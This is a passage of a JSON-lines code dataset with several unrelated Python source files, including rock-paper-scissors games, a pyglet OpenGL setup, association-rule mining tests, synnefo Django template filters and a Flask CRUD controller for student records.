height=BUTTON_HEIGHT, command=lambda: play('rock'))\nrock.grid(row=1, column=0)\n\npaper = tk.Button(frameUpper, text=\"paper\", width=BUTTON_WIDTH, height=BUTTON_HEIGHT, command=lambda: play('paper'))\npaper.grid(row=1, column=1)\n\nscissors = tk.Button(frameUpper, text=\"scissors\", width=BUTTON_WIDTH, height=BUTTON_HEIGHT,\n command=lambda: play('scissors'))\nscissors.grid(row=1, column=2)\n\n\nwinning = ttk.Label(root, text=\"Press button to play...\", font='Times 20 bold')\nwinning.grid(row=2)\n\nyourChoiceLabel = ttk.Label(root, text=\"Your Choice:\", font='Times 18')\nyourChoiceLabel.grid(row=3, column=0, sticky=tk.W)\n\nyourChoice = ttk.Label(root, text=\"\", font='Times 20 italic')\nyourChoice.grid(row=3, column=0)\n\nopponentChoice = ttk.Label(root, text=\"Opponent Choice:\", font='Times 18')\nopponentChoice.grid(row=4, column=0, sticky=tk.W)\n\nopponentChoice = ttk.Label(root, text=\"\", font='Times 20 italic')\nopponentChoice.grid(row=4, column=0)\n\nstatistics = ttk.Label(root, text=\"Statistics(W,L,D):\", font='Times 16')\nstatistics.grid(row=5, column=0, sticky=tk.W)\n\nstatisticsValue = ttk.Label(root, text=\"0/0/0\", font='Times 18')\nstatisticsValue.grid(row=5, column=0)\n\nframeUpper.grid(row=1)\nroot.mainloop()\n","repo_name":"noxikoxi/zadaniaPython","sub_path":"zestaw10/rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26549706284","text":"\nfrom pyglet.gl import *\nfrom pyglet.window import mouse\nfrom src.window import Window\nfrom src.cube import *\nfrom config import *\n\ndef setup():\n\n # Set the color of \"clear\", i.e. the sky, in rgba.\n glClearColor(BG_COLOR[0], BG_COLOR[1], BG_COLOR[2],BG_COLOR[3])\n\n # Enable culling (not rendering) of back-facing facets -- facets that aren't\n # visible to you.\n # glEnable( GL_CULL_FACE )\n # Set the texture minification/magnification function to GL_NEAREST (nearest\n # in Manhattan distance) to the specified texture coordinates. GL_NEAREST\n # \"is generally faster than GL_LINEAR, but it can produce textured images\n # with sharper edges because the transition between texture elements is not\n\n # as smooth.\"\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)\n\n glEnable(GL_FOG)\n # Set the fog color.\n glFogfv(GL_FOG_COLOR, (GLfloat * 4)(BG_COLOR[0], BG_COLOR[1], BG_COLOR[2],BG_COLOR[3]))\n # Say we have no preference between rendering speed and quality.\n glHint(GL_FOG_HINT, GL_DONT_CARE)\n # Specify the equation used to compute the blending factor.\n glFogi(GL_FOG_MODE, GL_LINEAR)\n # How close and far away fog starts and ends. The closer the start and end,\n # the denser the fog in the fog range.\n glFogf(GL_FOG_START, 20.0)\n glFogf(GL_FOG_END, 60.0)\n\n\ndef main():\n window = Window( width=800, height=600, caption='Pyglet', resizable=True )\n # Hide the mouse cursor and prevent the mouse from leaving the window.\n window.set_exclusive_mouse(True)\n setup()\n pyglet.app.run()\n\nif __name__ == '__main__':\n main()\n","repo_name":"y-vas/game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"28627809120","text":"# |MODULES|--------------------------------------------------------------------\nimport sys\nimport os.path\nMODULE_PATH = os.path.dirname(__file__)\nimport pandas as pd\nimport pickle as pk\n\n\ndef assess(x):\n clf = pk.load(open(os.path.join(MODULE_PATH,'finalized_model.sav'), 'rb'))\n mean = pk.load(open(os.path.join(MODULE_PATH,'mean.sav'), 'rb'))\n var = pk.load(open(os.path.join(MODULE_PATH,'var.sav'), 'rb'))\n x = (x - mean)/var\n x = x.to_numpy().reshape(1, -1)\n return clf.predict(x)[0]\n\n\nif __name__ == \"__main__\":\n test = pd.read_csv('trainlist.csv')\n y = test.loc[:, \"Class\"].to_numpy()\n test = test.iloc[:, 1:-2]\n for i in range(test.shape[0]):\n #for j, val in enumerate(test.iloc[i].to_list()):\n # print(\"{}\\t{}\\n\".format(j, val))\n print(assess(test.iloc[i]))\n\n # clf = pk.load(open('finalized_model.sav', 'rb'))\n # mean = pk.load(open('mean.sav', 'rb'))\n # print(mean)\n # var = pk.load(open('var.sav', 'rb'))\n # print(var)\n # test = (test - mean)/var\n # test = test.to_numpy()\n\n # predict = clf.score(test, y)\n # print(predict)\n\n\n #print(assess(sample.reshape(1, -1)))\n #train = pd.read_csv('testlist.csv')\n #mean = train.iloc[:, 1:-2].mean(axis=0).to_list()\n #var = train.iloc[:, 1:-2].std(axis=0).to_list()\n #pk.dump(mean, open('mean.sav', 'wb'))\n #pk.dump(var, open('var.sav', 'wb'))\n #print(test)\n #print(mean)\n #print(var)\n\n sys.exit(0)\n","repo_name":"regisaiah/ECE-499---Classifier","sub_path":"mentalfatigue.py","file_name":"mentalfatigue.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15809668780","text":"\r\nimport random\r\n\r\nclass Game(): #class game with four methods\r\n \r\n def __init__(self):\r\n self.user_item = self.get_user_item()\r\n self.computer_item = self.get_computer_item()\r\n self.winner = self.get_game_result()\r\n \r\n @staticmethod\r\n def get_user_item(): #method to get user input\r\n \r\n user_item = input(\"Choose between (rock/paper/scissors) \\n\")\r\n first_choice= [\"rock\",\"paper\",\"scissors\"]\r\n \r\n for i in first_choice: # loop through the list of options\r\n \r\n if i == user_item:\r\n return user_item\r\n \r\n while user_item not in first_choice:\r\n user_item = input(\"Choose between (rock/paper/scissors) \\n\") \r\n @staticmethod\r\n def get_computer_item(): #method for computer choice\r\n \r\n second_choice = [\"rock\",\"paper\",\"scissors\"]\r\n computer = random.choice(second_choice)\r\n return computer\r\n \r\n def get_game_result(self): #method to display winner\r\n if self.user_item == \"rock\" and self.computer_item == \"paper\":\r\n return \"Computer\"\r\n if self.user_item == \"rock\" and self.computer_item == \"scissors\":\r\n return \"User \"\r\n if self.user_item == \"paper\" and self.computer_item == \"rock\":\r\n return \"User\"\r\n if self.user_item == \"scissors\" and self.computer_item == \"rock\":\r\n return \"Computer\"\r\n if self.user_item == \"rock\" and self.computer_item == \"rock\":\r\n return \"Draw\"\r\n if self.user_item == \"paper\" and self.computer_item == \"scissors\":\r\n return \"Computer\"\r\n if self.user_item == \"scissors\" and self.computer_item == \"paper\":\r\n return \"User\"\r\n if self.user_item == \"paper\" and self.computer_item == \"paper\":\r\n return \"Draw\"\r\n if self.user_item == \"scissors\" and self.computer_item == \"scissors\":\r\n return \"Draw\"\r\n \r\n def play(self): \r\n if self.winner == \"Draw\": \r\n print(f'user 1 selected {self.user_item} and computer selected {self.computer_item} There a tie')\r\n else:\r\n print(f'user 1 selected {self.user_item} and computer selected {self.computer_item} The winner is {self.winner}')\r\n \r\ntest = Game()\r\n\r\n\r\ntest.play()\r\n\r\n\r\n\r\n\r\n\r\n \r\n ","repo_name":"Mengawanji/Dev-Ins","sub_path":"Week 5/day 5/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30627662814","text":"from lxml import etree\nfrom pprint import pprint as pp\n\nfilename = \"CBS_COLBERT_{episode:04d}_CONTENT_CIAN_caption_{kind}.xml\"\nfilepath = \"data/\" + filename\n\nfor i in range(1, 20):\n path = filepath.format(kind=\"DFXP\", episode=i)\n\n tree = etree.parse(path)\n root = tree.getroot()\n\n ns_mapping = {'ns':'http://www.w3.org/ns/ttml'}\n full_text = \" \".join([ptext for ptext in root.xpath('//ns:tt/ns:body/ns:div/ns:p//text()', namespaces=ns_mapping)])\n\n pp(full_text.split(\">>\"))","repo_name":"tsizzle/the-late-show-with-stephen-colbert-analysis","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13948933731","text":"def print2largest(arr, arr_size):\n if (arr_size < 2):\n print(\" Invalid Input \");\n return\n largest = second = -2454635434;\n for i in range(0, arr_size):\n largest = max(largest, arr[i]);\n for i in range(0, arr_size):\n if (arr[i] != largest):\n second = max(second, arr[i])\n \n if (second == -2454635434):\n print(\"There is no second \" +\n \"largest element\")\n else:\n print(\"The second largest \" +\n \"element is \\n\", second)\n \narr = list(map(int,input().split()))\nn = len(arr)\nprint2largest(arr, n)\n","repo_name":"Arshadfaizan/aps-codelibrary","sub_path":"SecondLargest.py","file_name":"SecondLargest.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"3609397043","text":"# from mock import patch\nimport datetime\nfrom mock import patch\nfrom tests import BaseCase\nfrom api import mining_api\n\nBDAY_TUPLE = (1982, 9, 2, 16, 30, 0) # yay my birthday\n\n\nclass MiningTestsBase(BaseCase):\n pass\n\n\n# Association RuleSet Tests\n'''\nclass QueryRuleSetEntitiesTests(MiningTestsBase):\n \"\"\"\n Tests around querying for Association RulesSets\n \"\"\"\n def setUp(self):\n super(QueryRuleSetEntitiesTests, self).setUp()\n\n m2 = mining_api.AssociationRuleModel(['Cheese:1', 'Peanut Butter:0'],\n ['Steak:1'],\n .25)\n\n mining_api.create_rules('ruleset_id', [m1, m2])\n\n def test_no_params(self):\n raise Exception('not yet')\n result = mining_api._query_rule_entities()\n\n self.assertEqual(len(result), 2)\n self.assertTrue(isinstance(result[0], mining_api.AssociationRuleEntity))\n self.assertTrue(isinstance(result[1], mining_api.AssociationRuleEntity))\n'''\n\n\nclass CreateRulesetTests(MiningTestsBase):\n\n @patch('api.mining_api.get_resource_id_from_key', return_value='mocked_id')\n def test_base(self, m_get_id):\n result = mining_api.create_ruleset(.4, .7)\n\n self.assertTrue(isinstance(result, mining_api.AssociationRuleSetModel))\n self.assertEqual(result.min_confidence, .7)\n self.assertEqual(result.min_support, .4)\n self.assertEqual(result.total_rules, None)\n self.assertTrue(isinstance(result.created_timestamp, datetime.datetime))\n self.assertEqual(result.id, 'mocked_id')\n\n# Association Rule Tests\n\n\nclass RuleModelTests(MiningTestsBase):\n def test_get_rule_item_id(self):\n \"\"\"\n Ensure we can generate a composite pref id for use in txn lists\n representing item and if the session user liked it or not.\n \"\"\"\n\n rule_model = mining_api.AssociationRuleModel(['Peanut Butter:1', 'Steak:0', 'Peanut Butter:0'],\n ['Cheese:0'],\n .25)\n\n self.assertEqual(rule_model.generate_rule_key(), 'peanut_butter:0__peanut_butter:1__steak:0')\n\n\nclass QueryRuleEntitiesTests(MiningTestsBase):\n \"\"\"\n Tests around querying for Association Rules\n \"\"\"\n def setUp(self):\n super(QueryRuleEntitiesTests, self).setUp()\n\n m1 = mining_api.AssociationRuleModel(['Peanut Butter:1', 'Steak:0', 'Peanut Butter:0'],\n ['Cheese:0'],\n .25)\n m2 = mining_api.AssociationRuleModel(['Cheese:1', 'Peanut Butter:0'],\n ['Steak:1'],\n .25)\n\n mining_api.create_rules('ruleset_id', [m1, m2])\n\n def test_no_params(self):\n result, cursor, more = mining_api._query_rule_entities()\n\n self.assertEqual(len(result), 2)\n self.assertTrue(isinstance(result[0], mining_api.AssociationRuleEntity))\n self.assertTrue(isinstance(result[1], mining_api.AssociationRuleEntity))\n\n\nclass QueryRuleModelsTests(MiningTestsBase):\n @patch('api.mining_api._query_rule_entities')\n @patch('api.mining_api._populate_rule_model')\n def test_base(self, mock_populate, mock_query):\n # Setup Mocks\n mock_query.return_value = (['a', 'b'], None, False)\n\n # Run Code To Test\n result = mining_api.query_rule_models(limit=4, kwarg=True)\n\n # Check results\n self.assertEqual(result, ([mock_populate.return_value, mock_populate.return_value], None, False))\n mock_query.assert_called_once_with(limit=4, kwarg=True)\n\n\n@patch('api.mining_api.get_resource_id_from_key', return_value='mocked_id')\nclass CreateRuleTest(MiningTestsBase):\n \"\"\"Tests around creating a single AssociationRuleModel\"\"\"\n\n def test_base(self, m_get_id):\n ant = ['Peanut Butter:1', 'Steak:0', 'Peanut Butter:0']\n con = ['Cheese:0']\n\n m = mining_api.AssociationRuleModel(ant, con, .85)\n result = mining_api.create_rule('ruleset_id', m)\n\n self.assertTrue(isinstance(result, mining_api.AssociationRuleModel))\n self.assertEqual(result.ant, ['Peanut Butter:1', 'Steak:0', 'Peanut Butter:0'])\n self.assertEqual(result.con, ['Cheese:0'])\n self.assertEqual(result.confidence, .85)\n self.assertEqual(result.rule_key, 'peanut_butter:0__peanut_butter:1__steak:0')\n self.assertEqual(result.id, 'mocked_id')\n self.assertEqual(result.ruleset_id, 'ruleset_id')\n\n\n@patch('api.mining_api.get_resource_id_from_key', return_value='mocked_id')\nclass CreateMultiTest(MiningTestsBase):\n \"\"\"Tests around creating multiple AssociationRuleModel at once\"\"\"\n def test_base(self, m_get_id):\n ant = ['Peanut Butter:1', 'Steak:0', 'Peanut Butter:0']\n con = ['Cheese:0']\n\n m1 = mining_api.AssociationRuleModel(ant, con, .85)\n m2 = mining_api.AssociationRuleModel(ant, con, .85)\n result = mining_api.create_rules('ruleset_id', [m1, m2])\n\n self.assertTrue(isinstance(result, list))\n\n self.assertTrue(isinstance(result[0], mining_api.AssociationRuleModel))\n self.assertEqual(result[0].ant, ant)\n self.assertEqual(result[0].con, con)\n self.assertEqual(result[0].confidence, .85)\n self.assertEqual(result[0].rule_key, 'peanut_butter:0__peanut_butter:1__steak:0')\n self.assertEquals(result[0].id, 'mocked_id')\n self.assertEqual(result[0].ruleset_id, 'ruleset_id')\n\n self.assertEqual(m_get_id.call_count, 2)\n\n\nclass DeleteRulesTests(MiningTestsBase):\n def setUp(self):\n super(DeleteRulesTests, self).setUp()\n\n m1 = mining_api.AssociationRuleModel(['Peanut Butter:1', 'Steak:0', 'Peanut Butter:0'],\n ['Cheese:0'],\n .25)\n mining_api.create_rules('ruleset_id', [m1])\n\n def base_test(self):\n\n self.assertEqual(1, len(mining_api.query_rule_models()[0]))\n mining_api.delete_rules()\n self.assertEqual(0, len(mining_api.query_rule_models()[0]))\n\n\"\"\"\n\nclass DeleteRulesSinceTests(MiningTestsBase):\n def base_test(self):\n result = mining_api.delete_rules_since()\n\"\"\"\n\n\n\"\"\"\n\nclass RunAprioriTests(MiningTestsBase):\n def base_test(self):\n result = mining_api.run_apriori()\n\"\"\"\n\"\"\"\n\nclass PrintItemsAndRulesTests(MiningTestsBase):\n def base_test(self):\n result = mining_api._print_items_and_rules()\n\n\"\"\"\n\"\"\"\n\nclass PopulateEntityTests(MiningTestsBase):\n def base_test(self):\n result = mining_api._populate_entity()\n\"\"\"\n","repo_name":"divrods/pref-service","sub_path":"tests/api_tests/mining_api_tests.py","file_name":"mining_api_tests.py","file_ext":"py","file_size_in_byte":6682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70883098972","text":"import calendar\nimport datetime\nimport math\n\nfrom collections import defaultdict\n\nfrom django import template\nfrom django.core.paginator import Paginator, EmptyPage\nfrom django.db.models.query import QuerySet\nfrom django.utils.safestring import mark_safe\nfrom django.template import defaultfilters\n\nfrom synnefo.lib.ordereddict import OrderedDict\nfrom synnefo.util import units\n\nfrom astakos.im import settings\nfrom astakos.im.models import ProjectResourceGrant, Project\nfrom astakos.im.views import util as views_util\nfrom astakos.im import util\nfrom astakos.im import presentation\nfrom astakos.im.models import AstakosUser\n\nfrom astakos.im import quotas\n\nregister = template.Library()\n\nDELIM = ','\n\n\ndef _is_inf(value):\n try:\n return value == units.PRACTICALLY_INFINITE\n except:\n return False\n\n\n@register.filter\ndef monthssince(joined_date):\n now = datetime.datetime.now()\n date = datetime.datetime(\n year=joined_date.year, month=joined_date.month, day=1)\n months = []\n\n month = date.month\n year = date.year\n timestamp = calendar.timegm(date.utctimetuple())\n\n while date < now:\n months.append((year, month, timestamp))\n\n if date.month < 12:\n month = date.month + 1\n year = date.year\n else:\n month = 1\n year = date.year + 1\n\n date = datetime.datetime(year=year, month=month, day=1)\n timestamp = calendar.timegm(date.utctimetuple())\n\n return months\n\n\n@register.filter\ndef to_unicode(s):\n return unicode(s)\n\n\n@register.filter\ndef to_string(s):\n return str(s)\n\n\n@register.filter\ndef lookup(d, key):\n try:\n return d.get(key)\n except:\n return\n\n\n@register.filter\ndef lookup_uni(d, key):\n return d.get(unicode(key))\n\n\n@register.filter\ndef dkeys(d):\n return d.keys()\n\n\n@register.filter\ndef month_name(month_number):\n return calendar.month_name[month_number]\n\n\n@register.filter\ndef todate(value, arg=''):\n secs = int(value) / 1000\n return datetime.datetime.fromtimestamp(secs)\n\n\n# @register.filter\n# def rcut(value, chars='/'):\n# return value.rstrip(chars)\n\n\n@register.filter\ndef paginate(l, args):\n l = l or []\n page, delim, sorting = args.partition(DELIM)\n if sorting:\n if isinstance(l, QuerySet):\n l = l.order_by(sorting)\n elif isinstance(l, list):\n default = ''\n if sorting.endswith('_date'):\n default = datetime.datetime.utcfromtimestamp(0)\n l.sort(key=lambda i: getattr(i, sorting)\n if getattr(i, sorting) else default)\n paginator = Paginator(l, settings.PAGINATE_BY)\n try:\n paginator.len\n except AttributeError:\n paginator._count = len(list(l))\n\n try:\n page_number = int(page)\n except ValueError:\n if page == 'last':\n page_number = paginator.num_pages\n else:\n page_number = 1\n try:\n page = paginator.page(page_number)\n except EmptyPage:\n page = paginator.page(1)\n return page\n\n\n@register.filter\ndef concat(str1, str2):\n if not str2:\n return str(str1)\n return '%s%s%s' % (str1, DELIM, str2)\n\n\n@register.filter\ndef items(d):\n if isinstance(d, defaultdict):\n return d.iteritems()\n return d\n\n\n@register.filter\ndef get_value_after_dot(value):\n return value.split(\".\")[1]\n\n# @register.filter\n# def strip_http(value):\n# return value.replace('http://','')[:-1]\n\n\n@register.filter\ndef truncatename(v, max=18, append=\"...\"):\n util.truncatename(v, max, append)\n\n\n@register.filter\ndef selected_resource_groups(project_or_app):\n if not project_or_app:\n return []\n\n grants = project_or_app.resource_set\n resources = grants.values_list('resource__name', flat=True)\n return map(lambda r: r.split(\".\")[0], resources)\n\n\n@register.filter\ndef resource_grants(project_or_app):\n try:\n grants = project_or_app.resource_set\n grants = grants.values_list(\n 'resource__name', 'member_capacity', 'project_capacity')\n return dict((e[0], {'member':e[1], 'project':e[2]}) for e in grants)\n except:\n return {}\n\n\ndef get_resource_grant(project_or_app, rname, capacity_for):\n if project_or_app is None:\n return None\n\n resource_set = project_or_app.resource_set\n if not resource_set.filter(resource__name=rname).count():\n return None\n\n resource = resource_set.get(resource__name=rname)\n return getattr(resource, '%s_capacity' % capacity_for)\n\n\n@register.filter\ndef get_member_resource_grant_value(project_or_app, rname):\n return get_resource_grant(project_or_app, rname, \"member\")\n\n\n@register.filter\ndef get_project_resource_grant_value(project_or_app, rname):\n return get_resource_grant(project_or_app, rname, \"project\")\n\n\n@register.filter\ndef resource_diff(r, member_or_project):\n if not hasattr(r, 'display_project_diff'):\n return ''\n\n project, member = r.display_project_diff()\n diff = dict(zip(['project', 'member'],\n r.display_project_diff())).get(member_or_project)\n\n diff_disp = ''\n if diff != '':\n diff_disp = \"(%s)\" % diff\n tpl = '%s'\n cls = 'red' if diff.startswith(\"-\") else 'green'\n return mark_safe(tpl % (cls, diff_disp))\n\n\n@register.filter\ndef sorted_resources(resources_set):\n return views_util.sorted_resources(resources_set)\n\n\n@register.filter\ndef display_resource_usage_for_project(resource, project):\n usage_map = presentation.USAGE_TAG_MAP\n quota = quotas.get_project_quota(project).get(resource.name, None)\n\n if not quota:\n return \"No usage\"\n\n cls = ''\n usage = quota['project_usage']\n limit = quota['project_limit']\n\n if limit == 0 and usage == 0:\n return \"--\"\n\n usage_perc = \"%d\" % ((float(usage) / limit) * 100) if limit else \"100\"\n _keys = usage_map.keys()\n _keys.reverse()\n closest = filter(lambda x: int(x) <= int(usage_perc), _keys)[0]\n cls = usage_map[closest]\n\n usage_display = units.show(usage, resource.unit)\n usage_perc_display = \"%s%%\" % usage_perc\n\n resp = \"\"\"%s (%s)\"\"\" % \\\n (cls, usage_perc_display, usage_display)\n return mark_safe(resp)\n\n\n@register.filter\ndef is_pending_app(app):\n if not app:\n return False\n return app.state in [app.PENDING]\n\n\n@register.filter\ndef is_denied_app(app):\n if not app:\n return False\n return app.state in [app.DENIED]\n\n\ndef _member_policy_formatter(form_or_app, value, changed, mapping):\n if changed:\n changed = defaultfilters.title(mapping.get(changed))\n value = defaultfilters.title(mapping.get(value))\n return value, changed, None, None\n\n\ndef _owner_formatter(form_or_app, value, changed):\n if not changed:\n changed_name = None\n else:\n changed_name = changed.realname\n return value.realname if value else None, changed_name, None, None\n\n\ndef _owner_admin_formatter(form_or_app, value, changed):\n if not changed:\n changed_name = None\n else:\n changed_name = changed.realname + \" (%s)\" % changed.email\n return value.realname + \" (%s)\" % value.email if value else None, changed_name, None, None\n\n\ndef _owner_owner_formatter(form_or_app, value, changed):\n if not changed:\n changed_name = None\n else:\n changed_name = changed.realname\n return \"Me\", changed_name, None, None\n\n\nMODIFICATION_FORMATTERS = {\n 'member_policy': _member_policy_formatter,\n 'owner': _owner_formatter,\n 'owner_admin': _owner_admin_formatter,\n 'owner_owner': _owner_owner_formatter\n}\n\n\n@register.filter\ndef display_modification_param(form_or_app, param, formatter=None):\n formatter_name = None\n if \",\" in param:\n param, formatter_name = param.split(\",\", 1)\n\n project_attr = param\n\n if hasattr(form_or_app, 'instance'):\n # form\n project = Project.objects.get(pk=form_or_app.instance.pk)\n app_value = form_or_app.cleaned_data[param]\n project_value = getattr(project, project_attr)\n else:\n # app\n project = form_or_app.chain\n app_value = getattr(form_or_app, project_attr)\n project_value = getattr(project, project_attr)\n if app_value == None:\n app_value = project_value\n\n formatter_params = {}\n\n if param == \"member_join_policy\":\n formatter_name = 'member_policy'\n formatter_params = {'mapping':\n presentation.PROJECT_MEMBER_JOIN_POLICIES}\n\n if param == \"member_leave_policy\":\n formatter_name = 'member_policy'\n formatter_params = {'mapping':\n presentation.PROJECT_MEMBER_LEAVE_POLICIES}\n\n changed = False\n changed_cls = \"gray details\"\n if project_value != app_value:\n changed = project_value\n\n if not formatter and formatter_name:\n formatter = MODIFICATION_FORMATTERS.get(formatter_name)\n\n changed_prefix = \"current: \"\n if formatter:\n app_value, changed, cls, prefix = formatter(form_or_app,\n app_value, changed,\n **formatter_params)\n if cls:\n changed_cls = cls\n\n if prefix:\n changed_prefix = prefix\n\n tpl = \"\"\"%(value)s\"\"\"\n if changed:\n tpl += \"\"\"\"\"\" + \\\n \"\"\"%(changed_prefix)s%(changed)s\"\"\"\n\n if not app_value:\n app_value = \"(not set)\"\n\n return mark_safe(tpl % {\n 'value': app_value,\n 'changed': changed,\n 'changed_cls': changed_cls,\n 'changed_prefix': changed_prefix\n })\n\n\n@register.filter\ndef display_modification_param_diff(form_or_app, param):\n def formatter(form_or_app, value, changed):\n if changed in [None, False]:\n if _is_inf(value):\n value = \"Unlimited\"\n return value, changed, None, \" \"\n\n to_inf = _is_inf(value)\n from_inf = _is_inf(changed)\n\n diff = value - changed\n sign = \"+\"\n cls = \"green\"\n if diff < 0:\n sign = \"-\"\n diff = abs(diff)\n cls = \"red\"\n\n if diff != 5:\n if from_inf or to_inf:\n if from_inf:\n changed = \"Unlimited\"\n diff = \"from %s\" % changed\n else:\n diff = sign + str(diff)\n changed = \"(%s)\" % (diff,)\n else:\n changed = None\n\n if to_inf:\n value = \"Unlimited\"\n return value, changed, cls, \" \"\n\n return display_modification_param(form_or_app, param, formatter)\n\n\n@register.filter\ndef display_date_modification_param(form_or_app, params):\n param, date_format = params.split(\",\", 1)\n\n def formatter(form_or_app, value, changed):\n if changed not in [None, False]:\n changed = defaultfilters.date(changed, date_format)\n formatted_value = defaultfilters.date(value, date_format)\n return formatted_value, changed, None, None\n\n return display_modification_param(form_or_app, param, formatter)\n\n\n@register.filter\ndef inf_display(value):\n if value == units.PRACTICALLY_INFINITE:\n return 'Unlimited'\n return value\n\n\n@register.filter\ndef inf_value_display(value):\n if value == units.PRACTICALLY_INFINITE:\n return 'Unlimited'\n return value\n\n\n@register.filter\ndef project_name_for_user(project, user):\n return project.display_name_for_user(user)\n\n\n@register.filter\ndef owner_by_uuid(uuid):\n try:\n user = AstakosUser.objects.get(uuid=uuid)\n return \"%s %s (%s)\" % (user.first_name, user.last_name, user.email)\n except AstakosUser.DoesNotExist:\n return uuid\n\n\n@register.filter\ndef format_inf(value):\n if _is_inf(value):\n return \"Unlimited\"\n return value\n","repo_name":"grnet/synnefo","sub_path":"snf-astakos-app/astakos/im/templatetags/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":11861,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"32"} +{"seq_id":"15243743884","text":"\"\"\"\n@filename : Student.py\n@description : Student 테이블 Controller 구현 \n@author : 천준홍 (cj562270@gmail.com)\n\"\"\"\nfrom flask import request\nfrom flask_restful import Resource\nfrom flask_sqlalchemy import SQLAlchemy\nfrom models.Students import Student as studentModel\nimport json\nfrom utils.Util import replace_quotes\nfrom utils.Util import get_now_string\n\ndb = SQLAlchemy()\n\n# JSON 페이지를 담당하는 클래스\nclass Student(Resource):\n def get(self):\n # 조회 결과를 저장할 빈 변수\n rs = None\n name = request.args.get('name')\n pk = request.args.get('pk')\n\n # 문제 3번(검색어 목록 조회)\n if(pk == None):\n if(name == None):\n name = ''\n search = \"%{}%\".format(name)\n try:\n # like를 이용하여 파라미터가 포함된 이름을 찾고 원하는 컬럼만 select\n rs = studentModel.query.filter(studentModel.name.like(search)).with_entities(studentModel.name, studentModel.grade, studentModel.deptno, studentModel.userid).all()\n except Exception as e:\n return {'rt': replace_quotes(str(e)), 'pubDate': get_now_string()}, 500\n \n # select 결과를 json으로 내보내기 위해 dictionary로 변환\n dic = []\n for i,v in enumerate(rs):\n dic.append({'name': v[0] ,'grade' : v[1] ,'deptno': v[2] ,'userid': v[3]})\n \n return {'rt': 'OK', 'item': dic, 'pubDate': get_now_string()}\n\n # 문제 4번 (pk 파라미터 입력 상세조회)\n else:\n try:\n rs = studentModel.query.filter(studentModel.studno == pk).all()\n # query 오류시 메세지 출력\n except Exception as e:\n return {'rt': replace_quotes(str(e)), 'pubDate': get_now_string()}, 500\n \n # 존재하지 않는 pk값을 입력했을떄 오류메세지 출력\n if (len(rs) == 0):\n return '해당 pk값을 데이터베이스에서 찾을 수 없습니다.'\n dic = rs[0].to_dict()\n\n return {'rt': 'OK', 'item': dic, 'pubDate': get_now_string()}\n\n # 문제 5\n def post(self):\n # 저장할 값을 post 파라미터로 수신\n name = request.form.get('name')\n userid = request.form.get('userid')\n grade = request.form.get('grade')\n idnum = request.form.get('idnum')\n birthdate = request.form.get('birthdate')\n tel = request.form.get('tel')\n height = request.form.get('height')\n weight = request.form.get('weight')\n deptno = request.form.get('deptno')\n profno = request.form.get('profno')\n \n # 수신된 값을 model 객체로 묶는다.\n item = studentModel(name=name, userid=userid,grade=grade, idnum=idnum, birthdate=birthdate, tel=tel, height=height, weight=weight, deptno=deptno, profno=profno)\n \n try:\n # 저장 (insert)\n db.session.add(item)\n # 변경사항 반영\n db.session.commit()\n except Exception as e:\n # 에러가 났다면 변경사항 되돌리기\n db.session.rollback()\n return {'rt': replace_quotes(str(e)), 'pubDate': get_now_string()}, 500\n \n return {'rt': 'OK', 'pubDate': get_now_string()}, 200\n \n # 문제 6\n def put(self):\n studno = request.form.get('studno')\n name = request.form.get('name')\n userid = request.form.get('userid')\n grade = request.form.get('grade')\n idnum = request.form.get('idnum')\n birthdate = request.form.get('birthdate')\n tel = request.form.get('tel')\n height = request.form.get('height')\n weight = request.form.get('weight')\n deptno = request.form.get('deptno')\n profno = request.form.get('profno')\n \n # 입력받은 파라미터만 dictionary로 구성(원하는 파라미터만 변경하기 위함)\n param_list = [name, userid, grade, idnum, birthdate, tel, height, weight, deptno, profno]\n param_str = ['name','userid','grade','idnum','birthdate','tel','height','weight','deptno','profno']\n dic = {}\n for i,v in enumerate(param_list):\n if (v == None):\n continue\n dic[param_str[i]] = v\n\n # 존재하지 않는 studno(pk) 값 입력시 에러메세지 출력\n try:\n rs = studentModel.query.filter(studentModel.studno == studno).all()\n except Exception as e:\n return {'rt': replace_quotes(str(e)), 'pubDate': get_now_string()}, 500\n if (len(rs) == 0):\n return '해당 pk값을 데이터베이스에서 찾을 수 없습니다.'\n\n # 생성한 dictionary를 이용하여 update수행\n try:\n db.session.query(studentModel).filter(studentModel.studno==studno).update(dic)\n db.session.commit()\n # 에러 처리\n except Exception as e:\n db.session.rollback()\n return {'rt': replace_quotes(str(e)), 'pubDate': get_now_string()}, 500\n \n return {'rt': 'OK', 'pubDate': get_now_string()}, 200\n \n # 문제 7\n def delete(self):\n studno = request.form.get('studno')\n \n # 존재하지 않는 studno(pk)를 입력시 에러메세지 출력\n try:\n rs = studentModel.query.filter(studentModel.studno == studno).all()\n except Exception as e:\n return {'rt': replace_quotes(str(e)), 'pubDate': get_now_string()}, 500\n if (len(rs) == 0):\n return '해당 pk값을 데이터베이스에서 찾을 수 없습니다.'\n\n # pk값을 기준으로 delete수행\n try:\n db.session.query(studentModel).filter(studentModel.studno==studno).delete()\n db.session.commit()\n # 에러 처리\n except Exception as e:\n db.session.rollback()\n return {'rt': replace_quotes(str(e)), 'pubDate': get_now_string()}, 500\n \n return {'rt': 'OK', 'pubDate': get_now_string()}, 